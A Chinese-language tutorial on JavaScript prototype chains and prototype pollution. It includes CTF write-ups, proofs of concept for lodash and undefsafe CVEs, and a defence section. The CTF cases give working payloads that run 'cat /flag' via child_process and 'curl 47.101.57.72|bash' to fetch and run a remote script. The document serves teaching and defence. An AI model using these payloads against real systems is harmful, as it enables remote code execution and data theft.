谭谈 Javascript 原型链与原型链污染
字数 1163 2025-08-05 00:15:18
JavaScript 原型链与原型链污染详解
一、JavaScript 原型链基础
1.1 原型链概念
JavaScript 使用原型链实现继承机制,每个对象都有一个私有属性 __proto__ 指向它的构造函数的原型对象(prototype)。这个原型对象也有自己的原型对象,层层向上直到一个对象的原型对象为 null。
1.2 关键概念
- 构造函数:用于创建对象的函数,有一个
prototype属性 - 实例对象:通过
new操作符创建的对象,有__proto__属性 - 原型对象:构造函数的
prototype属性指向的对象
1.3 原型链示例
function f() {
this.a = 1;
this.b = 2;
}
let o = new f(); // {a: 1, b: 2}
f.prototype.b = 3;
f.prototype.c = 4;
// 原型链:
// {a:1, b:2} ---> {b:3, c:4} ---> Object.prototype ---> null
console.log(o.a); // 1 (自身属性)
console.log(o.b); // 2 (自身属性遮蔽原型属性)
console.log(o.c); // 4 (从原型继承)
console.log(o.d); // undefined (原型链上不存在)
二、原型链污染原理
2.1 基本概念
原型链污染是指通过修改对象的原型,影响到所有继承该原型的对象。攻击者可以通过控制某些属性赋值操作,向对象原型中注入恶意属性。
2.2 污染示例
object1 = {"a": 1, "b": 2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); // Hello World
object2 = {"c": 1, "d": 2};
console.log(object2.foo); // Hello World
2.3 污染条件
- 能够控制对象属性的键名和值
- 目标应用使用
merge、clone等合并对象的操作 - 存在能够利用被污染原型的代码
三、危险操作与漏洞利用
3.1 Merge 操作导致的污染
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b) // 1 2
object3 = {}
console.log(object3.b) // 2 (污染成功)
3.2 常见利用场景
- 模板引擎污染:污染
outputFunctionName等属性 - 命令执行:污染
commands等包含执行逻辑的对象 - 权限绕过:污染
admin、isAdmin等权限检查属性
四、实际案例分析
4.1 [GYCTF2020]Ez_Express
漏洞点:
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
req.session.user.data = clone(req.body);
利用方法:
- 注册特殊用户名绕过检查(使用
ı字符) - 发送污染 payload:
{
"lua": "123",
"__proto__": {
"outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
}
}
- 访问触发点
/info路由
4.2 [网鼎杯 2020 青龙组]notes
漏洞点:
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
// 命令执行点
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
利用方法:
- 发送污染请求:
POST /edit_note
id=__proto__.aaa&author=curl 47.101.57.72|bash&raw=lalala
- 访问
/status触发命令执行
五、常见库的原型链污染漏洞
5.1 Lodash 漏洞
5.1.1 defaultsDeep (CVE-2019-10744)
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}';
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
5.1.2 merge
var lodash = require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
lodash.merge({}, JSON.parse(payload));
console.log(a.whoami); // Vulnerable
5.1.3 set
var lodash = require('lodash');
var object_1 = {'a': [{'b': {'c': 3}}]};
var object_2 = {}
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami); // Vulnerable
5.2 Undefsafe 漏洞 (CVE-2019-10795)
var a = require("undefsafe");
var test = {}
a(test, '__proto__.toString', function(){return 'just a evil!'})
console.log('this is ' + test) // this is just a evil!
六、防御措施
-
冻结原型对象:
Object.freeze(Object.prototype); -
使用无原型对象:
const obj = Object.create(null); -
检查敏感键名:
if (key === '__proto__' || key === 'constructor' || key === 'prototype') { throw new Error('Prototype pollution detected'); } -
使用安全的合并函数:
function safeMerge(target, source) { for (const key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; } if (typeof source[key] === 'object' && source[key] !== null) { target[key] = target[key] || {}; safeMerge(target[key], source[key]); } else { target[key] = source[key]; } } } -
保持库版本更新:及时更新存在漏洞的第三方库
七、总结
原型链污染是 JavaScript 中一种独特的安全漏洞,利用 JavaScript 灵活的原型继承机制,通过修改原型对象影响所有继承该原型的对象。防御此类漏洞需要开发者:
- 了解原型链工作原理
- 避免不安全的对象合并操作
- 对用户输入进行严格过滤
- 使用安全的编程模式
- 保持依赖库的及时更新
通过本文的分析和案例,开发者可以更好地理解原型链污染的成因和防御方法,编写更安全的 JavaScript 代码。